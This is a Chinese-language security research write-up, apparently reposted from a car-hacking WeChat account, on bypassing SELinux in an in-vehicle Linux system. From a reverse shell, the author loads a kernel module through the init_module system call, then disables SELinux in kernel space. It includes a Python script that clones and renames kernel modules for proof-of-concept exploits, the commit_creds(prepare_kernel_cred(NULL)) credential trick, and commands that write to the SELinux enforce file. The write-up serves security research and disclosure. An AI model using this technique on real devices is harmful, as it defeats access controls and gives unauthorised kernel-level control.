前言
SELinux作为智能网联汽车系统必备的组件,selinux安全关乎着系统内的相关安全。
SELinux加载内核模块有两个Linux 系统调用- init_module 和 finit_module。通过利用 init_module,我绕过了基于文件系统的 SELinux 规则,该规则阻止我通过传统方式(例如 insmod)加载内核模块。然后,我从 kernel-space 禁用了 SELinux。
为了避免透露目标实现的不必要细节,在下面的描述中,文件名和 SELinux 上下文等信息已被修改。一些代码片段和 shell 输出列表也为了简洁而被截断(用“[...]”表示)。
SELinux
连接到我的反向 shell 后,我很快意识到系统启用了SELinux。虽然该策略远没有你在典型 Android 设备上可能找到的标准策略那么严格,但它已经严格到足以阻止我做很多有用的事情(例如,挂载文件系统和访问 /etc/ 中的文件)。幸运的是,我能够在 /tmp/ 中写入和执行文件,所以我仍然有一种简单的方法来构建和运行自定义工具。
开发人员在从文件系统中删除不必要的用户空间二进制文件方面做得很好,因此标准的 SELinux 工具(getenforce、setenforce、sestatus 等)不可用。当我尝试手动与 SELinux 的 enforce 文件交互时,我无法做到这一点。
# ls -la /sys/fs/selinux/enforce
ls: /sys/fs/selinux/enforce: Permission denied
# cat /sys/fs/selinux/enforce
cat: can't open '/sys/fs/selinux/enforce': Permission denied
# echo 0 > /sys/fs/selinux/enforce
/bin/sh: can't create /sys/fs/selinux/enforce: Permission denied
系统日志检查表明,SELinux 阻止了这一情况。
# dmesg | grep audit
[...]
[ 57.800935] audit: type=1400 audit(1684520112.159:6): avc: denied { write } for pid=524 comm="sh" name="enforce" dev="selinuxfs" ino=4 scontext=system_u:object_r:userapp_t tcontext=system_u:object_r:security_t tclass=file permissive=0
[...]
内核模块
在尝试了许多此处未描述的失败技术后,我决定看看是否能获得内核执行权限。有了内核执行权限,我不一定需要禁用 SELinux,但如果我想在用户空间做任何事情,禁用SELinux是比较方便的。
获得内核执行的最简单方法是加载一个内核模块。该设备运行在 ARM 处理器上,所以我认为交叉编译一个自定义内核模块会有很多工作要做,并且除非我确定可以加载模块,否则我不想付出那么多努力。我决定首先制作一个简单的概念验证模块,在加载时打印到系统日志中,从而证明内核执行。
我使用以下脚本从设备文件系统中快速克隆了一个现有的内核模块
#!/usr/bin/env python3
# Author: Sean Pesce
#
# This script can be used to duplicate a loadable Linux kernel module file (*.ko).
# The newly-created file will have unique export and module name strings to facilitate
# patching and loading onto a system when normal module development isn't feasible
# (e.g., when creating a PoC exploit for a proprietary system).
#
# Install prerequisites:
# sudo apt install -y python3 python3-pip
# sudo pip3 install argparse pyelftools
import argparse
import os
from elftools.elf.elffile import ELFFile
from random import randrange
# Characters that can be used for the first character in a symbol string
SYM_ALPHA_START = '_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
# Characters that can be used after the first character in a symbol string
SYM_ALPHA = SYM_ALPHA_START + '0123456789'
def random_character(alphabet):
return alphabet[randrange(len(alphabet))]
def random_symbol_name(length=5):
if length < 1:
return ''
symbol = random_character(SYM_ALPHA_START)
while len(symbol) < length:
symbol += random_character(SYM_ALPHA)
return symbol
def check_module_name(name):
if len(name) < 1:
raise argparse.ArgumentTypeError('Module name can't be empty')
if name[0] not in SYM_ALPHA_START:
raise argparse.ArgumentTypeError(f'Invalid character in module name at position 0: "{name[0]}"')
for c in name[1:]:
if c not in SYM_ALPHA:
raise argparse.ArgumentTypeError(f'Invalid character in module name: "{c}"')
return name
def get_module_name_offset(kmod):
for s in kmod.iter_sections():
if s.name == '.gnu.linkonce.this_module':
return s.header['sh_offset'] + 24
raise NameError('Invalid kernel module file: missing .gnu.linkonce.this_module section')
def get_ksymtab_strings_offset_and_size(kmod):
for s in kmod.iter_sections():
if s.name == '__ksymtab_strings':
return s.header['sh_offset'], s.header['sh_size']
return None, None
def patch_kernel_module(in_fpath, out_fpath, name, name_offset, ksymtab_str_offset=None, ksymtab_str_sz=None):
data = b''
with open(in_fpath, 'rb') as f:
data = f.read()
# Patch module name
print(f'nPatching .gnu.linkonce.this_module:n {data[name_offset:name_offset+128].decode("ascii")} -> {name}')
name = name.encode('ascii') + b'x00'
data = data[:name_offset] + name + data[name_offset+len(name):]
# Patch kernel symbol strings
if ksymtab_str_offset is not None and ksymtab_str_sz is not None:
print('nPatching __ksymtab_strings:')
syms_orig = data[ksymtab_str_offset:ksymtab_str_offset+ksymtab_str_sz].split(b'x00')[:-1]
syms = []
for s in syms_orig:
new_sym = random_symbol_name(len(s)).encode('ascii')
while new_sym in syms:
new_sym = random_symbol_name(len(s)).encode('ascii')
print(f' {s.decode("ascii")} -> {new_sym.decode("ascii")}')
syms.append(new_sym)
ksyms_new = b''
for s in syms:
ksyms_new += s + b'x00'
assert len(ksyms_new) == ksymtab_str_sz, f'Size mismatch in __ksymtab_strings: Original was {ksymtab_str_sz} but new is {len(ksyms_new)}'
data = data[:ksymtab_str_offset] + ksyms_new + data[ksymtab_str_offset+ksymtab_str_sz:]
print(f'nSaving to {out_fpath}')
with open(out_fpath, 'wb') as f:
f.write(data)
return
if __name__ == '__main__':
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('in_fpath', help='Original Linux kernel module file (*.ko)')
new_ko_name = random_symbol_name(5)
arg_parser.add_argument('-n', '--name',
help='Module name as it appears in lsmod output (must be unique to the system)',
default=new_ko_name,
type=check_module_name)
arg_parser.add_argument('-o', '--out',
help='Output file path',
default=None)
args = arg_parser.parse_args()
if args.out is None:
args.out = os.path.join('.', args.name+'.ko')
if new_ko_name == args.name:
print(f'Automatically generated new module name: {args.name}.ko')
with open(args.in_fpath, 'rb') as f:
kmod = ELFFile(f)
name_offset = get_module_name_offset(kmod)
ksymtab_str_offset, ksymtab_str_sz = get_ksymtab_strings_offset_and_size(kmod)
patch_kernel_module(args.in_fpath, args.out, args.name, name_offset, ksymtab_str_offset, ksymtab_str_sz)
然后修补了模块构造函数(module_init)以打印我的标记消息。
printk("x01[SeanP] Loaded kernel module!n");
如果模块已成功加载,我将在 dmesg 的输出中看到该消息。
我试图用 insmod 加载模块:
insmod /tmp/dummy.ko
然而,系统日志显示(再次)SELinux 正在阻止它。
# dmesg | grep audit
[...]
[ 1223.106922] audit: type=1400 audit(1680885266.249:5): avc: denied { module_load } for pid=5658 comm="insmod" path="/tmp/dummy.ko" dev="tmpfs" ino=573 scontext=system_u:object_r:userapp_t tcontext=system_u:object_r:tmpfs_t tclass=system permissive=0
[...]
init_module
在阅读有关内核功能和 Linux 系统调用的各种文档时,我发现实际上有两种不同的系统调用可用于加载内核模块。
intinit_module(void* module_image, unsignedlong len, constchar* param_values);
intfinit_module(int fd, constchar* param_values, int flags);
文档解释了差异:
init_module()将 ELF 图像加载到内核空间,执行任何必要的符号重定位,将模块参数初始化为调用者提供的值,然后运行模块的初始化函数。此系统调用需要特权。
模块图像参数(module_imageargument)指向一个包含要加载的二进制图像的缓冲区;长度(lenspecifies)指定该缓冲区的大小。模块图像应该是为正在运行的内核构建的有效 ELF 图像。
finit_module()系统调用与 init_module()类似,但从文件描述符 fd 读取要加载的模块。当可以从内核模块在文件系统中的位置确定其真实性时,它很有用。
所以,init_module 从内存中加载内核模块,而 finit_module 从磁盘加载内核模块。
回顾 SELinux 审计消息,我注意到我的加载内核模块的尝试被阻止了(至少部分被阻止),原因是模块文件 dummy.ko 的目标上下文(其中包括文件系统类型 tmpfs_t)。
tcontext=system_u:object_r:tmpfs_t
这似乎表明 insmod 正在使用 finit_modulesystem 系统调用来加载内核模块。如果我尝试使用 init_module 来加载模块会怎样呢?假设 SELinux 是基于文件系统上下文执行此规则,我可以从内存缓冲区加载模块,并且不会有任何文件系统关联。
我找到了一个内核模块加载器的现有实现,对其进行了修改以添加更多错误检查,并使用 arm-linux-gnueabi-gcc 进行编译(最终代码和 Makefile 可以在这里找到)。然后,我尝试使用自定义加载器加载我的内核模块。
/tmp/modload /tmp/dummy.ko
# dmesg | grep SeanP
[ 10.466012] calling dummy_module_init+0x0/0x1000 [SeanP_DummyModule] @ 119
[ 10.466058] [SeanP] Loaded kernel module!
[ 10.466194] initcall dummy_module_init+0x0/0x1000 [SeanP_DummyModule] returned 22 after 84 usecs
成功了!这是巨大的;我获得了内核执行。即使我无法禁用 SELinux,我也可以在 user-space 中(基本上)做任何我想做的事,只需在 kernel-space 中付出更多的努力。
禁用SELinux
现在我知道我可以加载内核模块,我需要交叉编译自定义模块以执行更高级的作(从技术上讲,我可以修补现有模块,但这可能会更费力)。我不打算深入讨论交叉编译内核工件的细节,但 Yunjong Jeong(又名blukat29)的这篇文章为任何想要这样做的人提供了很多有用的信息。
设置好构建环境后,我需要创建 kernelmodule。经过一番研究,我确定我的模块需要做两件事:
-
去掉加载内核模块的用户空间 SELinux 上下文 -
将 0 写入 /sys/fs/selinux/enforce
我确信您也可以通过修改内存中的内核数据结构来禁用 SELinux,但我的方法似乎更容易。
有很多关于 Linux 漏洞利用的有用信息,包括在转换到内核空间后如何摆脱用户空间的 SELinux 上下文的解释:
commit_creds(prepare_kernel_cred(NULL));
Ashfaq 详细解释了这段代码是如何工作的,但可以用这句话来简要总结:
[...]如果我们提供 NULL 作为指向 task_structit 的指针,则将获得默认凭据,即 init_cred。init_cred 是在 kernel/cred.c 中定义的全局结构体 cred,用于初始化 init_task 的凭证,这是 Linux 中的第一个任务
所以我们并没有真正删除 SELinux 上下文;相反,我们重新过渡到 initTask 的上下文(一般来说,这个上下文可能几乎没有限制,如果有的话)。
我的第二个目标(将 0 写入 enforcefile)更容易弄清楚;我只需要使用标准函数从 kernel-space (kernel_write) 写入文件。
我的内核模块的最终代码不到 100 行(可以在这里找到)。我编译了它并使用我的自定义加载器加载了它:
/tmp/modload /tmp/disable_selinux.ko
# dmesg | grep SeanP
[ 35.808464] [SeanP] SELinux disabler kernel module loaded
[ 35.818566] [SeanP] [SUCCESS] Wrote 0 to SELinux enforce file
# cat /sys/fs/selinux/enforce
0
就这样,就禁用了 SELinux,此次分享到此结束,谢谢!
原文始发于微信公众号(CarHacking):车联网安全之利用init_module绕过SELinux
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论